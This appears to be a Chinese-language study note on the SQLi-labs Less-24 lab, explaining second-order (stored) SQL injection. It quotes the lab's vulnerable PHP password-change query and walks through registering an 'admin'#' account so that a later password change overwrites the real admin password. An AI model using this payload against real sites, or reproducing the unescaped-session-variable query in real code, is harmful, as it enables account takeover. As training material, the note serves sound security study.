本文记录 SQL 注入的学习过程,资料为 SQLi
Less - 24: POST - Second Order Injections Real treat - Stored Injections
-
简介
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
-
二次排序注入思路
-
黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
-
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
-
黑客向服务端发送第二个与第一次不相同的请求数据信息。
-
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
-
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
-
-
测试
此例子中我们的步骤是注册一个 admin’# 的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin 的密码。
源代码
$username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); }
使用 admin’# 进行注册的时候,SQL 语句变为
$sql = "UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='$curr_pass' ";
也就是执行了
UPDATE users SET passwd="New_Pass" WHERE username ='admin'
-
步骤演示
-
注册 admin’# 账号
username 输入 admin'# password 输入 111 retry password 输入 111
-
查数据库中是否出现了这个用户
mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 111 | +----+----------+------------+ 14 rows in set (0.00 sec)
-
登录 admin’#
用户名输入 admin'# 密码输入 111
可以重置密码
-